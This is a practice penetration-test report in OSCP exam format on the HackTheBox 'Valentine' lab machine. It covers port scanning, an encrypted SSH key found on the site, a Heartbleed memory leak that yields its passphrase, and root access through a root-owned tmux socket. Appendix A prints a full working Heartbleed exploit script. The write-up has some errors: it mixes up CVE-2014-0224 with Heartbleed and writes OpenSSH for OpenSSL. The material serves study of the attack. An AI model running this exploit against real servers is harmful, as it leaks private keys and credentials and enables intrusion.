Offensive Security Certified Professional Exam Report - Valentine - HTB

OSCP Exam Report

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1. High Level Summary

We were tasked to perform an internal penetration test towards the <u>HackTheBox Valentine</u> as preparation for the Offensive Security Exam. During the preparation meeting, we got no information about the target.

A penetration test is an authorized exercise, where the testers perform an attack against internally connected systems to simulate real-world cyber criminal activities. To perform those tests, the testers used most of the tools and methods also used in real attacks. Differently from a real attack, where the attacker has as limit only its resource, in the engagement all possible tools, effects, methods and resources are previously discussed and approved by the parties during the definition of the scope.

The engagement can be interrupted at any time in case of:

- Detection of previous/current attack
- Unresponsiveness of the server
- Detection of critical vulnerability

The OpenSSL version available on the target allows an attacker to intercept the request and extract sensitive information transmitted. By exploiting this vulnerability, it was possible to extract a passphrase that belongs to an encrypted private key available on the web site. With the encrypted key and the passphrase, it was possible to generate a RSA key that allowed us to gain access to a server with a low privilege user.

With our first access, an enumeration on the target, specifically on the history commands, showed us that the user was running a *tmux* (terminal multiplexer) socket with administrative access. By rerunning this command, it was possible to generate this administrative session.

1.1 Recommendation

It is highly recommended to avoid storing sensitive information on public accessible pages. Information such as username, keys (public and private) passphrase should not be available to general access, since they allow malicious users to gain access to the system. Furthermore, patch management on all services, specially on OpenSSH, allows fixing known vulnerabilities.

2. Methodology

2.1 Information Gathering

For this engagement, the scope was defined with the elements below:

- 10.129.56.38

2.2 House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organization's computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important.

After the flags we captured, we removed all user accounts and passwords as well as the installed services on the system. Offensive Security should not have to remove any user accounts or services from the system.

3. Independent Challenges

3.1 Valentine - 10.129.56.38

3.1.1 Network and Service Enumeration


For the first enumeration, we performed a port scan with the command below to find open ports on the target:

```
ports=$(sudo nmap -Pn -T4 $target -oN ports.txt | egrep "^[0-9]{2,5}"
| sed -E "s#/.*##g" | tr "\n" "," | sed 's/.$//') && echo $ports
# Results
22,53,80,443
```

With the result of the previous scan, we performed another scan to identify the services and version running on the opened ports:

```
sudo nmap -Pn -p$ports -sS -sV -sC $target -oN serv.txt
PORT
                SERVICE VERSION
       STATE
22/tcp open
                         OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu
                 ssh
Linux; protocol 2.0)
 ssh-hostkey:
   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
   256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
53/tcp filtered domain
                         Apache httpd 2.2.22 ((Ubuntu))
80/tcp open
                http
_http-server-header: Apache/2.2.22 (Ubuntu)
```

On port 80, we found the following web site running:




To identity hidden folders and files we performed a directory enumeration with the tool *gobuster*:

The path http://\$target/dev/ contained the following files:




Apache/2.2.22 (Ubuntu) Server at 10.129.56.22 Port 80

The file *notes.txt*:



The file *hype key*:



By decoding with this with <u>CyberChef</u>, we found the following RSA private key:

```
---BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC, AEB88C140F69BF2074788DE24AE48D46
DbPr078kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3U0L0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJc0FH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0Sb0YUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5Pu06x+LS8n1r/GWMqS0EimNRD1j/59/4u3R0rTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSl5Hq90D5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
Ol6jLFD2kaOLfuyeeOfYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ul0
t9grSosRTCsZd140Pts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
XqhDUBhyk1C3YP0iDuP0nMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
+wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
r08pk0xArXE2dj7eX+bq656350J6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
2VWRyTZ1FfngJSsv9+Mfvz341lbz0IWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
e1BsfSbsf9FguUZkgHAnnfRKkGVG10Vyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojF
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
```

If we attempt to login with this private key, we are prompted to insert a passphrase, which shows that this private key is encrypted.

After reading some writeups, I discovered that the *vuln* scan was used to identify vulnerabilities. Without it scan, it would not be possible to find out that the main issue was on the version of OpenSS, which contains a known vulnerability called *heartbleed*.

According to the <u>CVE-2014-0224</u>, this version of Openssl allows a man-in-the-middle attack to retrieve sensitive information with the heartbeat extension packets using crafted packets that creates a buffer over-read (Source: <u>CVE-2014-0160 Detail</u>)

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCipherSpec messages, which allows man-in-the-middle attackers to trigger use of a zero-length master key in certain OpenSSL-to-OpenSSL communications, and consequently hijack sessions or obtain sensitive information, via a crafted TLS handshake, aka the "CCS Injection" vulnerability.

:

CVE-2014-0160

 $\frac{https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE\%20Exploits/Heartblee}{d\%20CVE-2014-0160.py}$

3.1.2 Initial Access


Vulnerability Explanation: The <u>Heartbleed Bug</u> is a vulnerability in OpenSSL cryptographic software library that allows gaining information which is protected by SSL/TLS encryption. The vulnerability allows for reading memory of systems protected by the vulnerable OpenSSL versions and discloses encrypted confidential information as well as the encryption keys themselves.

Vulnerability Fix: Update OpenSSL to the latest version

Severity: Critical

Steps to reproduce the attack:

- 1. After the proper identification of the CVE, it is possible to retrieve sensitive information by running the python script available on the <u>GitHub Repository PayloadsAllTheThings/CVE Exploits /Heartbleed CVE-2014-0160.py</u> which is also available on the <u>Appendix A</u> of this document
- 2. According to the description of the vulnerability, the server answers with more information than it should, which allows it to retrieve secret keys, username, passwords and protected content.



Source: https://teskalabs.com/blog/heartbleed

In our engagement, by running the script, the server return the following string:

By decoding this string, we found that it may be related to the passphrase of the encrypted key that we found during our enumeration:

heartbleedbelievethehype

3. With the next ssh command and with the found passphrase, we were able to login to the server:

```
ssh -i rsa_id hype@$target -o PubkeyAcceptedKeyTypes=ssh-rsa
Enter passphrase for key 'rsa id':
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86 64)
 * Documentation: https://help.ubuntu.com/
New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
hype@Valentine:~$ pwd
/home/hype
hype@Valentine:~$ ls
Desktop Documents Downloads Music Pictures Public Templates user.txt
Videos
hype@Valentine:~$ cat user.txt
009ae7a24bec11792ceee8718698596c
hype@Valentine:~$ whoami
hype@Valentine:~$ hostname
Valentine
```

3.1.3 Privilege Escalation

Vulnerability Explanation: By creating a tmux session with root access, the low privileged user was able to create a session that carried the root privilege. So all commands inside this session were runned as root

Vulnerability Fix: Low privileges users should not be able to create *tmux* sessions with administrative access. In general, running commands or applications with administrative access should be restricted to only essential tasks, so the user can perform the expected tasks.

Severity: Critical

Steps to reproduce the attack:

- 1. By checking the history command, we found tmux socket on path /.devs.dev sess
- 2. If we check the owner of this socket, we found that it belongs to root user
- 3. Running the tmux command found on the history creates a tmux session with root access:

```
hype@Valentine:~$ tmux -S /.devs/dev_sess
root@Valentine:/home/hype# whoami
root
root@Valentine:/home/hype# cat /root/root.txt
188ef157fdcb4b15ced908dd34b12fb1
```

Conclusion

- Heartbleed (see picture)
- Check SSL
- Decrypt private key:
 - ssh2john priv > key.hash
 - John --wordlist=??? Hey.hash
- Create public key
 - openssl rsa -in encrypted.key -out decrypted.key
 - passphrase!!!
- ssh -o PubkeyAcceptedKeyTypes=ssh-rsa
- history

Appendix A - Heartbleed CVE-2014-0160.py

```
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford
```

```
from future import print function
from builtins import str
from builtins import range
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
import smtplib
options = OptionParser(usage='%prog server [options]', description='Test for SSL
heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test
(default: 443)')
options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats
to send if vulnerable (defines how much memory you get back) (default: 1)')
options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename
to write dumped memory too (default: dump.bin)')
options.add_option('-q', '--quiet', default=False, help='Do not display the memory
dump', action='store_true')
options.add_option('-s', '--starttls', action='store_true', default=False,
help='Check STARTTLS (smtp only right now)')
def h2bin(x):
      return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
```

```
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09
                        00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hbv10 = h2bin('''
18 03 01 00 03
01 40 00
hbv11 = h2bin('''
18 03 02 00 03
01 40 00
hbv12 = h2bin('''
18 03 03 00 03
01 40 00
def hexdump(s, dumpf, quiet):
      dump = open(dumpf, 'a')
      dump.write(s)
      dump.close()
      if quiet: return
      for b in range(0, len(s), 16):
             lin = [c for c in s[b : b + 16]]
             hxdat = ' '.join('%02X' % ord(c) for c in lin)
             pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)</pre>
             print(' %04x: %-48s %s' % (b, hxdat, pdat))
      print()
def recvall(s, length, timeout=5):
      endtime = time.time() + timeout
      rdata = ''
      remain = length
      while remain > 0:
             rtime = endtime - time.time()
             if rtime < 0:</pre>
                    if not rdata:
```

```
return None
                    else:
                          return rdata
             r, w, e = select.select([s], [], [], 5)
             if s in r:
                    data = s.recv(remain)
                   if not data:
                          return None
                    rdata += data
                   remain -= len(data)
      return rdata
def recvmsg(s):
      hdr = recvall(s, 5)
      if hdr is None:
             print('Unexpected EOF receiving record header - server closed
connection')
             return None, None, None
      typ, ver, ln = struct.unpack('>BHH', hdr)
      pay = recvall(s, ln, 10)
      if pay is None:
             print('Unexpected EOF receiving record payload - server closed
connection')
             return None, None, None
      print(' ... received message: type = %d, ver = %04x, length = %d' % (typ,
ver, len(pay)))
      return typ, ver, pay
def hit_hb(s, dumpf, host, quiet):
      while True:
             typ, ver, pay = recvmsg(s)
             if typ is None:
                    print('No heartbeat response received from '+host+', server
likely not vulnerable')
                    return False
             if typ == 24:
                    if not quiet: print('Received heartbeat response:')
                   hexdump(pay, dumpf, quiet)
                   if len(pay) > 3:
                          print('WARNING: server '+ host +' returned more data than
it should - server is vulnerable!')
```

```
else:
                          print('Server '+host+' processed malformed heartbeat, but
did not return any extra data.')
                    return True
             if typ == 21:
                    if not quiet: print('Received alert:')
                    hexdump(pay, dumpf, quiet)
                    print('Server '+ host +' returned error, likely not
vulnerable')
                   return False
def connect(host, port, quiet):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      if not quiet: print('Connecting...')
      sys.stdout.flush()
      s.connect((host, port))
      return s
def tls(s, quiet):
      if not quiet: print('Sending Client Hello...')
      sys.stdout.flush()
      s.send(hello)
      if not quiet: print('Waiting for Server Hello...')
      sys.stdout.flush()
def parseresp(s):
      while True:
             typ, ver, pay = recvmsg(s)
             if typ == None:
                    print('Server closed connection without sending Server Hello.')
                    return 0
             if typ == 22 and ord(pay[0]) == 0x0E:
                    return ver
def check(host, port, dumpf, quiet, starttls):
      response = False
      if starttls:
             try:
                    s = smtplib.SMTP(host=host,port=port)
                    s.ehlo()
                    s.starttls()
```

```
except smtplib.SMTPException:
                    print('STARTTLS not supported...')
                   s.quit()
                   return False
             print('STARTTLS supported...')
             s.quit()
             s = connect(host, port, quiet)
             s.settimeout(1)
             try:
                    re = s.recv(1024)
                   s.send('ehlo starttlstest\r\n')
                   re = s.recv(1024)
                   s.send('starttls\r\n')
                    re = s.recv(1024)
             except socket.timeout:
                    print('Timeout issues, going ahead anyway, but it is probably
broken ...')
             tls(s,quiet)
      else:
             s = connect(host, port, quiet)
             tls(s,quiet)
      version = parseresp(s)
      if version == 0:
             if not quiet: print("Got an error while parsing the response, bailing
...")
             return False
      else:
             version = version - 0x0300
             if not quiet: print("Server TLS version was 1.%d\n" % version)
      if not quiet: print('Sending heartbeat request...')
      sys.stdout.flush()
      if (version == 1):
             s.send(hbv10)
             response = hit_hb(s,dumpf, host, quiet)
      if (version == 2):
             s.send(hbv11)
             response = hit_hb(s,dumpf, host, quiet)
      if (version == 3):
             s.send(hbv12)
             response = hit_hb(s,dumpf, host, quiet)
```

```
s.close()
    return response

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    print('Scanning ' + args[0] + ' on port ' + str(opts.port))
    for i in range(0,opts.num):
        check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)

if __name__ == '__main__':
    main()</pre>
```